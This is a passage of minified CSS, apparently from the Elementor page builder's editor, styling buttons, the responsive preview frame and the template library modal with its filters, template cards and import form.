transform: translateY(-5px); } } @keyframes slideDown { 0% { transform: translateY(-30px); } 100% { transform: translateY(0); } } .elementor-button, .e-btn { font-size: 12px; font-weight: 500; line-height: 1.2; padding: 8px 16px; outline: none; border: none; border-radius: var(--e-a-border-radius); background-color: var(--e-a-btn-bg); color: var(--e-a-btn-color-invert); transition: var(--e-a-transition-hover); } .elementor-button:hover, .e-btn:hover { border: none; } .elementor-button:hover, .elementor-button:focus, .e-btn:hover, .e-btn:focus { background-color: var(--e-a-btn-bg-hover); color: var(--e-a-btn-color-invert); } .elementor-button:active, .e-btn:active { background-color: var(--e-a-btn-bg-active); } .elementor-button:not([disabled]), .e-btn:not([disabled]) { cursor: pointer; } .elementor-button:disabled, .e-btn:disabled { background-color: var(--e-a-btn-bg-disabled); color: var(--e-a-btn-color-disabled); } .elementor-button:not(.elementor-button-state) .elementor-state-icon, .e-btn:not(.elementor-button-state) .elementor-state-icon { display: none; } .elementor-button.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel, .e-btn.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel { background: transparent; color: var(--e-a-color-txt); } .elementor-button.e-btn-txt:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:hover, .elementor-button.e-btn-txt:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:focus, .e-btn.e-btn-txt:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:hover, .e-btn.e-btn-txt:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:focus { background: var(--e-a-bg-hover); color: var(--e-a-color-txt-hover); } .elementor-button.e-btn-txt:disabled, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:disabled, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:disabled, .e-btn.e-btn-txt:disabled, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:disabled, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:disabled { background: transparent; color: var(--e-a-color-txt-disabled); } .elementor-button.e-btn-txt-border, .e-btn.e-btn-txt-border { border: 1px solid var(--e-a-color-txt-muted); } .elementor-button.elementor-button-success, .elementor-button.e-success, .e-btn.elementor-button-success, .e-btn.e-success { background-color: var(--e-a-btn-bg-success); } .elementor-button.elementor-button-success:hover, .elementor-button.elementor-button-success:focus, .elementor-button.e-success:hover, .elementor-button.e-success:focus, .e-btn.elementor-button-success:hover, .e-btn.elementor-button-success:focus, .e-btn.e-success:hover, .e-btn.e-success:focus { background-color: var(--e-a-btn-bg-success-hover); } .elementor-button.e-primary, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over, .e-btn.e-primary, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over { background-color: var(--e-a-btn-bg-primary); color: var(--e-a-btn-color); } .elementor-button.e-primary:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:hover, .elementor-button.e-primary:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:focus, .e-btn.e-primary:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:hover, .e-btn.e-primary:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:focus { background-color: var(--e-a-btn-bg-primary-hover); color: var(--e-a-btn-color); } .elementor-button.e-primary.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-cancel, .e-btn.e-primary.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-cancel { background: transparent; color: var(--e-a-color-primary-bold); } .elementor-button.e-primary.e-btn-txt:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-cancel:hover, .elementor-button.e-primary.e-btn-txt:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-cancel:focus, .e-btn.e-primary.e-btn-txt:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-cancel:hover, .e-btn.e-primary.e-btn-txt:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-cancel:focus { background: var(--e-a-bg-primary); } .elementor-button.go-pro, .elementor-button.e-accent, .e-btn.go-pro, .e-btn.e-accent { background-color: var(--e-a-btn-bg-accent); } .elementor-button.go-pro:hover, .elementor-button.go-pro:focus, .elementor-button.e-accent:hover, .elementor-button.e-accent:focus, .e-btn.go-pro:hover, .e-btn.go-pro:focus, .e-btn.e-accent:hover, .e-btn.e-accent:focus { background-color: var(--e-a-btn-bg-accent-hover); } .elementor-button.go-pro:active, .elementor-button.e-accent:active, .e-btn.go-pro:active, .e-btn.e-accent:active { background-color: var(--e-a-btn-bg-accent-active); } .elementor-button.elementor-button-info, .elementor-button.e-info, .e-btn.elementor-button-info, .e-btn.e-info { background-color: var(--e-a-btn-bg-info); } .elementor-button.elementor-button-info:hover, .elementor-button.elementor-button-info:focus, .elementor-button.e-info:hover, .elementor-button.e-info:focus, .e-btn.elementor-button-info:hover, .e-btn.elementor-button-info:focus, .e-btn.e-info:hover, .e-btn.e-info:focus { background-color: var(--e-a-btn-bg-info-hover); } .elementor-button.elementor-button-warning, .elementor-button.e-warning, .e-btn.elementor-button-warning, .e-btn.e-warning { background-color: var(--e-a-btn-bg-warning); } .elementor-button.elementor-button-warning:hover, .elementor-button.elementor-button-warning:focus, .elementor-button.e-warning:hover, .elementor-button.e-warning:focus, .e-btn.elementor-button-warning:hover, .e-btn.elementor-button-warning:focus, .e-btn.e-warning:hover, .e-btn.e-warning:focus { background-color: var(--e-a-btn-bg-warning-hover); } .elementor-button.elementor-button-danger, .elementor-button.e-danger, .e-btn.elementor-button-danger, .e-btn.e-danger { background-color: var(--e-a-btn-bg-danger); } .elementor-button.elementor-button-danger:hover, .elementor-button.elementor-button-danger:focus, .elementor-button.e-danger:hover, .elementor-button.e-danger:focus, .e-btn.elementor-button-danger:hover, .e-btn.elementor-button-danger:focus, .e-btn.e-danger:hover, .e-btn.e-danger:focus { background-color: var(--e-a-btn-bg-danger-hover); } .elementor-button i, .e-btn i { margin-inline-end: 5px; } body { --e-preview-width: calc(100% - var(--e-editor-panel-width, 300px)); } body.elementor-navigator-docked { --e-preview-width: calc(100% - var(--e-editor-panel-width, 300px) - var(--e-editor-navigator-width, 0px)); } body.elementor-device-desktop #elementor-preview { overflow-y: hidden; align-items: flex-start; } body:not(.elementor-device-desktop) body { overflow-y: auto; } #elementor-preview { background-color: #333; height: 100%; border: 0; width: var(--e-preview-width); display: flex; flex-direction: column; justify-content: flex-start; align-items: center; position: relative; } #elementor-preview-responsive-wrapper { transform-origin: top center; padding: 20px; transform: scale(var(--e-preview-scale, 1)); } .elementor-device-desktop #elementor-preview-responsive-wrapper { min-width: 1025px; width: 100%; height: 100%; padding: 0; position: relative; } body.e-is-device-mode:not(.elementor-device-desktop) #elementor-preview-responsive-wrapper { width: var(--e-editor-preview-width); height: var(--e-editor-preview-height); margin: 0 max((100vw - var(--e-editor-panel-width) - var(--e-editor-preview-width)) / 2, 20px); box-sizing: content-box; position: relative; max-height: calc(100vh - 80px); } body.e-is-device-mode:not(.elementor-device-desktop) #elementor-preview-responsive-wrapper .ui-resizable-handle { display: flex !important; } #elementor-preview-responsive-wrapper:not(.ui-resizable-resizing) { transition: 0.3s ease-in-out; } #elementor-preview-responsive-wrapper .ui-resizable-handle { top: 0; } #elementor-preview-responsive-wrapper .ui-resizable-handle.ui-resizable-s { top: auto; bottom: 0; } #elementor-preview-responsive-wrapper .ui-resizable-n, #elementor-preview-responsive-wrapper .ui-resizable-s { align-items: center; justify-content: center; height: 20px; } #elementor-preview-responsive-wrapper .ui-resizable-n:before, #elementor-preview-responsive-wrapper .ui-resizable-s:before { content: ""; display: block; background-color: rgba(255, 255, 255, 0.2); width: 50px; height: 4px; border-radius: 3px; transition: all 0.2s ease-in-out; } #elementor-preview-responsive-wrapper .ui-resizable-n:hover:before, #elementor-preview-responsive-wrapper .ui-resizable-s:hover:before { background-color: rgba(255, 255, 255, 0.6); width: 100px; } #elementor-preview-responsive-wrapper .ui-resizable-e, #elementor-preview-responsive-wrapper .ui-resizable-w { align-items: center; justify-content: center; width: 20px; } #elementor-preview-responsive-wrapper .ui-resizable-e:before, #elementor-preview-responsive-wrapper .ui-resizable-w:before { content: ""; display: block; background-color: rgba(255, 255, 255, 0.2); width: 4px; height: 50px; border-radius: 3px; transition: all 0.2s ease-in-out; } #elementor-preview-responsive-wrapper .ui-resizable-e:hover:before, #elementor-preview-responsive-wrapper .ui-resizable-w:hover:before { background-color: rgba(255, 255, 255, 0.6); height: 100px; } #elementor-preview-responsive-wrapper.ui-resizable-resizing .ui-resizable-handle:before { background-color: rgba(255, 255, 255, 0.9); } #elementor-preview-responsive-wrapper .ui-resizable-s { bottom: 0; } #elementor-preview-responsive-wrapper .ui-resizable-e { right: 0; } #elementor-preview-responsive-wrapper .ui-resizable-w { left: 0; } #elementor-preview-iframe { width: 100%; height: 100%; background-color: #fff; box-shadow: 0 0 3px rgba(0, 0, 0, 0.3), 0 0 20px rgba(0, 0, 0, 0.15); } #elementor-template-library-modal a.elementor-template-library-blank-footer-link { font-style: normal; text-decoration: underline; } #elementor-template-library-modal .dialog-buttons-wrapper { display: none; } #elementor-template-library-modal .select2-container { z-index: 0; } #elementor-template-library-modal .dialog-message { overflow-y: scroll; } #elementor-template-library-header-menu { text-align: center; } .elementor-template-library-menu-item { display: inline-block; padding: 17px 20px; border-block-end: 3px solid transparent; cursor: pointer; } .elementor-template-library-menu-item:hover { background-color: var(--e-a-bg-hover); border-color: var(--e-a-bg-hover); } .elementor-template-library-menu-item.elementor-active { border-color: var(--e-a-border-color-accent); color: var(--e-a-color-txt-accent); } #elementor-template-library-header-actions { display: flex; } #elementor-template-library-header-actions > div { padding-inline-end: 16px; } #elementor-template-library-header-preview-insert-wrapper { cursor: default; padding: 0 10px; } .elementor-template-library-template-insert + .elementor-template-library-template-generate-variation { margin-inline-start: 4px; } #elementor-template-library-header-preview-back { padding-block: 16.5px 15px; padding-inline: 0 16.5px; border-inline-end: var(--e-a-border); cursor: pointer; transition: color 0.5s; } #elementor-template-library-header-preview-back:hover { color: var(--e-a-color-txt-hover); } #elementor-template-library-header-preview-back i { padding-inline-end: 10px; font-size: 18px; } #elementor-template-library-header-preview-back i:before { content: "\e87e"; } #elementor-template-library-templates[data-template-source=local] #elementor-template-library-templates-container { margin-block-start: 10px; margin-block-end: 45px; border-block-start: var(--e-a-border); } #elementor-template-library-templates[data-template-source=local] .elementor-template-library-order-input:checked + .elementor-template-library-order-label { color: var(--e-a-color-txt-active); } #elementor-template-library-templates[data-template-source=remote] #elementor-template-library-templates-container { margin: 10px -15px 0; } #elementor-template-library-templates[data-template-source=remote] .elementor-template-library-order-input:checked + .elementor-template-library-order-label { color: var(--e-a-color-txt-active); } #elementor-template-library-templates[data-template-source=empty] #elementor-template-library-order-toolbar-local, #elementor-template-library-templates[data-template-source=empty] #elementor-template-library-footer-banner { display: none; } #elementor-template-library-templates.elementor-templates-filter-active #elementor-template-library-footer-banner { display: none; } #elementor-template-library-templates .elementor-template-library-order-input { display: none; } #elementor-template-library-templates .elementor-template-library-order-input:checked + .elementor-template-library-order-label { padding-inline-end: 8px; } #elementor-template-library-templates .elementor-template-library-order-input:checked + .elementor-template-library-order-label:after { font-family: eicons; content: "\e8ae"; margin-inline-start: 3px; } #elementor-template-library-templates .elementor-template-library-order-input:checked.elementor-template-library-order-reverse + .elementor-template-library-order-label:after { content: "\e8ad"; } #elementor-template-library-templates-container { display: flex; flex-wrap: wrap; align-items: flex-start; } #elementor-template-library-toolbar { display: flex; justify-content: space-between; align-items: center; } .elementor-template-library-filter-toolbar { display: flex; align-items: center; } #elementor-template-library-filter-toolbar-remote { font-size: 11px; } #elementor-template-library-order { display: flex; border-inline-end: var(--e-a-border); } .elementor-template-library-order-label { text-transform: uppercase; padding-inline-end: 22px; -webkit-user-select: none; -moz-user-select: none; user-select: none; } label.elementor-template-library-order-label { cursor: pointer; } label.elementor-template-library-order-label:hover { color: var(--e-a-color-txt-hover); } #elementor-template-library-filter .select2 { text-align: start; width: calc(27px * 5) !important; } #elementor-template-library-filter .select2-selection__rendered { text-transform: capitalize; } #select2-elementor-template-library-filter-subtype-results .select2-results__option { text-transform: capitalize; text-align: start; padding-inline-start: 5px; } #elementor-template-library-my-favorites { flex-grow: 1; text-align: start; padding-inline-start: 20px; } #elementor-template-library-filter-my-favorites { display: none; } #elementor-template-library-filter-my-favorites:checked + #elementor-template-library-filter-my-favorites-label { color: var(--e-a-color-txt-active); } #elementor-template-library-filter-my-favorites:checked + #elementor-template-library-filter-my-favorites-label i:after { color: var(--e-a-color-primary-bold); content: "\e93f"; } #elementor-template-library-filter-my-favorites-label { cursor: pointer; text-transform: uppercase; } #elementor-template-library-filter-my-favorites-label:hover { color: var(--e-a-color-txt-hover); } #elementor-template-library-filter-my-favorites-label:hover i:after { color: var(--e-a-color-primary-bold); } #elementor-template-library-filter-my-favorites-label i { padding-inline-end: 5px; } #elementor-template-library-filter-my-favorites-label i:after { content: "\e923"; } #elementor-template-library-filter-text-wrapper { width: 200px; position: relative; } #elementor-template-library-filter-text-wrapper i { position: absolute; top: 50%; right: 0; transform: translateY(-50%); } #elementor-template-library-filter-text { border: none; border-block-end: var(--e-a-border-bold); border-radius: 0; font-size: 11px; padding: 8px 15px 8px 0; transition: border 0.5s; } #elementor-template-library-filter-text:focus { border-color: var(--e-a-border-color-focus); } #elementor-template-library-filter-text::-moz-placeholder { font-weight: 300; text-transform: uppercase; } #elementor-template-library-filter-text::placeholder { font-weight: 300; text-transform: uppercase; } .elementor-template-library-template-remote { margin: calc(30px / 2); padding: 8px; border: var(--e-a-border); border-radius: 3px; } .elementor-template-library-template-remote:hover { background-color: var(--e-a-bg-hover); } .elementor-template-library-template-remote:hover .elementor-template-library-template-name { display: none; } .elementor-template-library-template-remote:not(:hover) .elementor-template-library-template-preview { opacity: 0; } .elementor-template-library-template-remote:not(:hover) .elementor-template-library-favorite, .elementor-template-library-template-remote:not(:hover) .elementor-template-library-template-action { display: none; } .elementor-template-library-template-remote.elementor-template-library-pro-template .elementor-template-library-template-body:before { content: var(--elementor-template-library-subscription-plan-label); background-color: var(--e-a-color-accent); color: var(--e-a-color-white); position: absolute; text-transform: uppercase; line-height: 1; top: 5px; right: 5px; padding: 3px 5px; font-size: 8px; border-radius: 2px; } .elementor-template-library-template-remote:not(.elementor-template-library-template-page):not(.elementor-template-library-template-lp) { position: relative; width: calc(33.333% - 30px); overflow: hidden; } .elementor-template-library-template-remote:not(.elementor-template-library-template-page):not(.elementor-template-library-template-lp) img { display: block; width: 100%; } .elementor-template-library-template-remote:not(.elementor-template-library-template-page):not(.elementor-template-library-template-lp) .elementor-template-library-template-footer { position: absolute; width: 100%; bottom: 0; left: 0; padding: 10px; background-color: var(--e-a-bg-default); transition: transform 0.5s; } .elementor-template-library-template-remote:not(.elementor-template-library-template-page):not(.elementor-template-library-template-lp) .elementor-template-library-template-name { display: none; } .elementor-template-library-template-remote:not(.elementor-template-library-template-page):not(.elementor-template-library-template-lp):not(:hover) .elementor-template-library-template-footer { transform: translateY(100%); } .elementor-template-library-template-remote .elementor-template-library-template-body { position: relative; } @media (max-width: 1025px) { .elementor-template-library-template-remote .elementor-template-library-template-body { height: 300px; } } .elementor-template-library-template-remote .elementor-template-library-template-screenshot { height: 100%; background-size: cover; background-position-x: 50%; box-shadow: inset 0px -2px 15px -6px rgba(0, 0, 0, 0.07); } .elementor-template-library-template-remote .elementor-template-library-template-preview { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(0, 0, 0, 0.5); transition: opacity 0.5s; cursor: pointer; } .elementor-template-library-template-remote .elementor-template-library-template-preview i { font-size: 20px; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); } .elementor-template-library-template-remote .elementor-template-library-template-footer { display: flex; justify-content: space-between; font-size: 11px; line-height: 1; height: 40px; align-items: center; } .elementor-template-library-template-remote .elementor-template-library-template-name { text-align: start; flex-grow: 1; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; padding-inline-end: 5px; } .elementor-template-library-template-remote .elementor-template-library-favorite { margin-inline-start: auto; } .elementor-template-library-template-remote .elementor-template-library-template-favorite-input { display: none; } .elementor-template-library-template-remote .elementor-template-library-template-favorite-input:checked + .elementor-template-library-template-favorite-label i:before { content: "\e93f"; color: var(--e-a-color-primary-bold); } .elementor-template-library-template-remote .elementor-template-library-template-favorite-label { font-size: 15px; cursor: pointer; } .elementor-template-library-template-remote .elementor-template-library-template-favorite-label:hover i { color: var(--e-a-color-primary-bold); } @media (max-width: 1439px) { .elementor-template-library-template-page, .elementor-template-library-template-lp { width: calc(25% - 30px); } } @media (min-width: 1440px) { .elementor-template-library-template-page, .elementor-template-library-template-lp { width: calc(20% - 30px); } } @media (max-width: 1025px) { .elementor-template-library-template-page, .elementor-template-library-template-lp { width: calc(33.333% - 30px); } } .elementor-template-library-template-page .elementor-template-library-template-body, .elementor-template-library-template-lp .elementor-template-library-template-body { height: 200px; } #elementor-template-library-order-toolbar-local, .elementor-template-library-template-local { display: flex; align-items: center; padding: 0 25px; text-align: start; } #elementor-template-library-order-toolbar-local { margin-block-start: 30px; } #elementor-template-library-order-toolbar-local .elementor-template-library-order-label { line-height: 1; font-size: 10px; font-weight: 500; } .elementor-template-library-template-local { height: 50px; width: 100%; margin-block-start: 1px; transition: background-color 0.3s linear; } .elementor-template-library-template-local:hover { background-color: var(--e-a-bg-hover); } .elementor-template-library-template-local:first-child { border-start-start-radius: 3px; border-start-end-radius: 3px; border-end-start-radius: 0; border-end-end-radius: 0; } .elementor-template-library-template-local:last-child { border-start-start-radius: 0; border-start-end-radius: 0; border-end-start-radius: 3px; border-end-end-radius: 3px; } .elementor-template-library-template-local .elementor-template-library-template-name { font-weight: 500; } .elementor-template-library-template-local .elementor-template-library-template-name, .elementor-template-library-template-local .elementor-template-library-template-meta { padding-inline-end: 20px; } .elementor-template-library-template-local .elementor-template-library-template-name, .elementor-template-library-template-local .elementor-template-library-template-meta, .elementor-template-library-template-local .elementor-template-library-template-preview, .elementor-template-library-template-local .elementor-template-library-template-action { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; } .elementor-template-library-template-local .elementor-template-library-template-controls { position: relative; display: flex; align-items: center; } .elementor-template-library-template-local .elementor-template-library-template-controls > div { cursor: pointer; transition: color 0.5s; } .elementor-template-library-template-local .elementor-template-library-template-insert i { margin-inline-end: 3px; } .elementor-template-library-template-local .elementor-template-library-template-control-title { margin-inline-start: 6px; } .elementor-template-library-template-local .elementor-template-library-template-more .elementor-template-library-template-delete:hover { color: var(--e-a-color-danger); } .elementor-template-library-template-local .elementor-template-library-template-more { display: none; position: absolute; background-color: var(--e-a-bg-default); padding: 3px 20px; border-radius: var(--e-a-border-radius); box-shadow: 1px 3px 11px rgba(0, 0, 0, 0.3); top: 100%; right: 0; transform: translateX(65%) translateY(-7px); z-index: 1; } .elementor-template-library-template-local .elementor-template-library-template-more:before { content: ""; position: absolute; border: solid transparent; border-width: 8px 4px; border-block-end-color: var(--e-a-color-white); transform: translateY(-100%); } .elementor-template-library-template-local .elementor-template-library-template-more > div { margin: 10px 0; font-size: 11px; } .elementor-template-library-template-local .elementor-template-library-template-more a { color: var(--e-a-color-txt); } .elementor-template-library-template-local .elementor-template-library-template-more-toggle { flex-grow: 1; text-align: end; } .elementor-template-library-template-local .elementor-template-library-template-more-toggle i { font-size: 16px; } #elementor-template-library-preview { height: 100%; overflow: hidden; } #elementor-template-library-preview iframe { height: 150%; transform: scale(0.666) translateX(-25%) translateY(-25%); } @media (max-width: 1439px) { #elementor-template-library-preview iframe { width: 1440px; } } @media (min-width: 1440px) { #elementor-template-library-preview iframe { width: 1730px; } } .elementor-template-library-blank-icon { font-size: 64px; margin-block-start: 45px; line-height: 1; } .elementor-template-library-blank-icon img { width: 70px; } .elementor-template-library-blank-icon .elementor-template-library-no-results { width: 200px; } .elementor-template-library-blank-title { font-size: 30px; margin-block-start: 20px; } @media (max-width: 1439px) { .elementor-template-library-blank-title { font-size: 25px; } } .elementor-template-library-blank-message { font-size: 18px; margin-block-start: 15px; font-weight: 300; } @media (max-width: 1439px) { .elementor-template-library-blank-message { font-size: 16px; margin-block-start: 10px; } } #elementor-template-library-save-template-form { margin-block-start: 40px; display: flex; align-items: center; justify-content: center; } #elementor-template-library-save-template-form > * { height: 55px; font-size: 16px; } #elementor-template-library-save-template-name { width: 500px; padding-inline-start: 25px; border-start-start-radius: 3px; border-start-end-radius: 0; border-end-start-radius: 3px; border-end-end-radius: 0; } #elementor-template-library-save-template-submit { width: 150px; border-start-start-radius: 0; border-start-end-radius: 3px; border-end-start-radius: 0; border-end-end-radius: 3px; } #elementor-template-library-import-form { width: 95%; padding: 60px; border: 2px dashed var(--e-a-border-color-bold); margin: 35px auto; transition: var(--e-a-transition-hover); } #elementor-template-library-import-form-or { margin-block-start: 15px; font-size: 18px; } #elementor-template-library-import-form-label { margin-block-start: 20px; padding: 15px 35px; display: inline-block; } #elementor-template-library-import-form-input { display: none; } #elementor-template-library-import-form.elementor-drag-over { border-color: var(--e-a-color-primary); } #elementor-template-library-import .elementor-template-library-blank-icon { margin-block-start: 0; } #elementor-template-library-import .elementor-template-library-blank-message { margin-block-start: 20px; } .e-route-library-connect #elementor-template-library-modal .dialog-message { max-height: 95vh; padding: 100px 0 0; min-height: 550px; } #elementor-template-library-connect-logo { font-size: 20px; } #elementor-template-library-connect__button { display: inline-block; position: 